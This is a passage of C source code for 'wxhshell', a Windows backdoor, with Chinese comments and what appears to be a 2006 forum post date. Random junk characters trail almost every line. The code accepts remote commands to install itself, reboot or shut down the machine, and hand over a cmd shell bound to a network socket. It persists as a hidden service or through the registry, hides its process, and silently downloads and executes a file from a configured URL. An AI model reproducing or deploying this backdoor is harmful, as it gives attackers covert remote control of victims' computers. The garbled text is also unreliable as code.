    switch(cmd[0]) { V `7(75  
  pS+hE4D  
  // 帮助 Te2 C<c  
  case '?': { (tvfF0~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (lg~}Jwq  
    break; ~@mNR^W-W  
  } 1+ 9!W  
  // 安装 ]FEDAGu  
  case 'i': { }'`}| pM$  
    if(Install()) 3/V0w|ZgD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); # 1 1<=3Yj  
    else *I.eCMDa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [\-)c[/  
    break; `*",_RO;  
    } P&IS$FC.\  
  // 卸载 >S>B tR l  
  case 'r': { tUi@'%>=5  
    if(Uninstall()) XaF;IS@A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^cCNQS}r  
    else J p)I9k,Ez  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \+j:d9?  
    break; ),J6:O&  
    } `Wd4d2aLG  
  // 显示 wxhshell 所在路径 wvRwb   
  case 'p': { .iYp9?t  
    char svExeFile[MAX_PATH]; W. BX6  
    strcpy(svExeFile,"\n\r"); ? =G{2E.  
      strcat(svExeFile,ExeFile); SZvp %hS0  
        send(wsh,svExeFile,strlen(svExeFile),0); qSt\ 6~  
    break; -ImV Xy]?  
    } YI>9C 76L  
  // 重启 (_]D\g~  
  case 'b': { W`uq,r0Xsy  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;FJFr*PM  
    if(Boot(REBOOT)) [>KnMi=o)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p z\8Bp}yo  
    else { Q^*4FH!W  
    closesocket(wsh); Irui{%T  
    ExitThread(0); %bS1$ v\n  
    } p<+Y;,+  
    break; !P3y+;S  
    } sQ.t3a3m  
  // 关机 57KrDxE}  
  case 'd': { yz"hU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5mX^{V&^  
    if(Boot(SHUTDOWN)) ZCuoYE$g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TE: |w Xe  
    else { 8[;AFm?,`  
    closesocket(wsh); f>|W d;7l:  
    ExitThread(0); + w'q5/`  
    } 8jY<S+[o  
    break; L+~XW'P?  
    } oqo7Ge2  
  // 获取shell jq%}=-%KE  
  case 's': { tz5\O}  
    CmdShell(wsh); a7!{`fR5  
    closesocket(wsh); L;WFHIE  
    ExitThread(0); 0BH-kr  
    break; (/FG#D.  
  } ]=PkgOJD  
  // 退出 GI@;76Qf  
  case 'x': { C3'?E<F  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); izzX$O[=:  
    CloseIt(wsh); Tgl >  
    break; 1Tr%lO5?6  
    } =RAojoN  
  // 离开 ^B1$|C D,  
  case 'q': { >pp#>{}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); NFF!g]QN  
    closesocket(wsh); 7'#_uA QR  
    WSACleanup(); R3>c\mA  
    exit(1); E 02Y,C  
    break; [^W +^3V  
        } H%>^_:h  
  } Lrmhr3 w5  
  } `"o{MaFA  
virt[5w  
  // 提示信息 (\'$$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zp5ZZcj_  
} ZL:SJ,C  
  } 6AoKuT;  
IJVzF1vC  
  return; [] el4.J,  
} lF t^dl^  
?C- ju8]|  
// shell模块句柄 U1(cBY  
int CmdShell(SOCKET sock) v!$:t<-5N  
{ j^WYM r,  
STARTUPINFO si; j+rY  
ZeroMemory(&si,sizeof(si)); "l hj1zZ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0wCQPvO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |3^U\r^zo  
PROCESS_INFORMATION ProcessInfo; r-*j"1 e  
char cmdline[]="cmd"; N.0g%0A.D  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =dsEt\ j  
  return 0; [%O f  
} pRzL}-[/v  
nM ?Nf}  
// 自身启动模式 Lz!JLiMEET  
int StartFromService(void) @|5B}%!  
{ P)#h4|xZ  
typedef struct n/x((d%"E  
{ /='Q-`?9  
  DWORD ExitStatus; 81C;D`!K  
  DWORD PebBaseAddress; M6bM`wHH>  
  DWORD AffinityMask; '1(6@5tyWk  
  DWORD BasePriority; mHV{9J  
  ULONG UniqueProcessId; R:3=!zav  
  ULONG InheritedFromUniqueProcessId; <LzxnTx=  
}   PROCESS_BASIC_INFORMATION; V%z?wDC  
ens]?,`0  
PROCNTQSIP NtQueryInformationProcess; t\}_WygN  
<EQaYZY=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wph8ln"C-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;mRZ_^V;  
oe|8  
  HANDLE             hProcess; b(CO7/e>  
  PROCESS_BASIC_INFORMATION pbi; xcn~KF8  
z>\l%_w  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |>[qC O  
  if(NULL == hInst ) return 0; CyS %11L  
lHDZfwJ&C1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K&zW+C b  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^b|I^TN0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8a&c=9  
`6lOqH  
  if (!NtQueryInformationProcess) return 0; ^G2M4+W|  
SM%/pu;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D.Cn`O}  
  if(!hProcess) return 0; jm@,Ihz=wI  
];"40/X  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; F" M  
4w#2m>.  
  CloseHandle(hProcess); Srz8sm;  
sp MYn&p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q |FOU  
if(hProcess==NULL) return 0; wy8Q=X:vP  
NbTaI{r  
HMODULE hMod; c~O Lr  
char procName[255]; TUz4-Pd  
unsigned long cbNeeded; M@P%k`6C  
{Z7ixc523  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $(+xhn(O  
K0>+-p oL  
  CloseHandle(hProcess); 8 aIqc  
%P M#gnt@  
if(strstr(procName,"services")) return 1; // 以服务启动 9#m3<oSJ  
#/jug[wf*!  
  return 0; // 注册表启动 X d o\DQn  
} ?Z_T3/ f  
Kh[l};/F  
// 主模块 ~, E }^  
int StartWxhshell(LPSTR lpCmdLine) l U8pX$  
{  @;$cX2  
  SOCKET wsl; :CK`v6 Qs  
BOOL val=TRUE; D B65vM  
  int port=0; ,|3_@tUl  
  struct sockaddr_in door; ?o$ t{AQ  
OzD\* ,{7  
  if(wscfg.ws_autoins) Install(); W h)  
U\B9Ab  
port=atoi(lpCmdLine); _P!b0x~\  
K;WQV,  
if(port<=0) port=wscfg.ws_port; ok0ZI>=,  
f6yj\qq]  
  WSADATA data; cm_5,wB(w  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &P>& T  
!02y'JS1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   </D.}ia  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Maq`Or|4  
  door.sin_family = AF_INET; L+p}%!g  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q{?\qCrrYl  
  door.sin_port = htons(port); dNNXMQ0"  
D)?%kNeA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \#LDX,=  
closesocket(wsl); =}kISh  
return 1; mXyN{`q=  
} U;4i&=.!  
"uT2 DY[  
  if(listen(wsl,2) == INVALID_SOCKET) { Y0krFhL'x0  
closesocket(wsl); 9jY+0h*uP  
return 1; +])<}S!M  
} A&p@iE*/  
  Wxhshell(wsl); ib#rT{e  
  WSACleanup(); }e/vKW fT  
`4snTM!v&  
return 0; IN<nZ?D#  
Xwdcy J!  
} i&^JG/a  
{Ji&rk}NP  
// 以NT服务方式启动 )B"{B1(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2uN3:_w  
{ DbLo{mFEIj  
DWORD   status = 0; bGL}nPo  
  DWORD   specificError = 0xfffffff; J`)/\9'&&  
+6$+] u]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =}Zl E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 036m\7+Qj  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  YTZ :D/  
  serviceStatus.dwWin32ExitCode     = 0; Zi+FIQ(  
  serviceStatus.dwServiceSpecificExitCode = 0; [j5+PV  
  serviceStatus.dwCheckPoint       = 0; NK/y,f6  
  serviceStatus.dwWaitHint       = 0; Yj>4*C9  
a>W++8t1 ;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Md@x2Ja  
  if (hServiceStatusHandle==0) return; S|)atJJ0G"  
3@\/5I xn  
status = GetLastError(); e)B1)c8s  
  if (status!=NO_ERROR) B>>_t2IU  
{ `|>]P"9yp  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Hzm_o>^KC  
    serviceStatus.dwCheckPoint       = 0; Uq_lT,  
    serviceStatus.dwWaitHint       = 0; %(p9AE  
    serviceStatus.dwWin32ExitCode     = status; `ovMfL.u  
    serviceStatus.dwServiceSpecificExitCode = specificError; KJ32L  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q"D  
    return; j0~am,yZ  
  } jT$J~M pHh  
6xtgnl#T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; uA[ :  
  serviceStatus.dwCheckPoint       = 0; TP {\V>*Yz  
  serviceStatus.dwWaitHint       = 0; |v8h g])I+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); & [@)Er=  
} %LP4RZ  
, +J)`+pJx  
// 处理NT服务事件,比如:启动、停止 k<Gmb~Tg1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) AVw oOv J  
{ i 0/QfB%O  
switch(fdwControl) b way+lh  
{ @@U  
case SERVICE_CONTROL_STOP: >AX_"Q~  
  serviceStatus.dwWin32ExitCode = 0; ZCj1Cz]"l<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; SyI~iW#Y1  
  serviceStatus.dwCheckPoint   = 0; Qt {){uE  
  serviceStatus.dwWaitHint     = 0; iTq&h=(n  
  { tt2 S.j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9ghzK?Yc  
  } X"d"a={]  
  return; y3 b"'-%  
case SERVICE_CONTROL_PAUSE: m4oj1h_4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; tmq?h%O>  
  break; }:c~5whN  
case SERVICE_CONTROL_CONTINUE: 4V4S5V  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @@K/0:],  
  break; Vdx o  
case SERVICE_CONTROL_INTERROGATE: `r-Jy{!y4  
  break; v JGH8$%;,  
}; /huh}&NNu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g$#A'Du  
} ~mt{j7  
48^C+#Jbc  
// 标准应用程序主函数 Vf~-v$YI  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) '}(>s%~  
{ Miw=2F  
!ITM:%  
// 获取操作系统版本 c}n66qJF5  
OsIsNt=GetOsVer(); OYt_i'Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \RR` F .7  
BWxJ1ENM  
  // 从命令行安装 "1^tVw|  
  if(strpbrk(lpCmdLine,"iI")) Install(); y*X.DS 1(w  
6>#8 ^{[  
  // 下载执行文件 (nq""kO6'  
if(wscfg.ws_downexe) { .6$=]hdAp  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Uv>e :U7;  
  WinExec(wscfg.ws_filenam,SW_HIDE); %i3[x.M  
} beikzuC  
H!7?#tRU  
if(!OsIsNt) { zn^7#$fC  
// 如果时win9x,隐藏进程并且设置为注册表启动 7L&,Na  
HideProc(); 0]*W0#{Zj  
StartWxhshell(lpCmdLine); $t^Td<  
} Ewr2popK  
else kI!@J6  
  if(StartFromService()) 4(P<'FK $  
  // 以服务方式启动 F*#!hWtb  
  StartServiceCtrlDispatcher(DispatchTable); mMXDzAllB  
else _;5zA"~c#@  
  // 普通方式启动 q?mpvpL G  
  StartWxhshell(lpCmdLine); "IQYy~ /  
>SvS(N{  
return 0; mMllen  
}
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只看该作者 1 发表于: 2006-10-10
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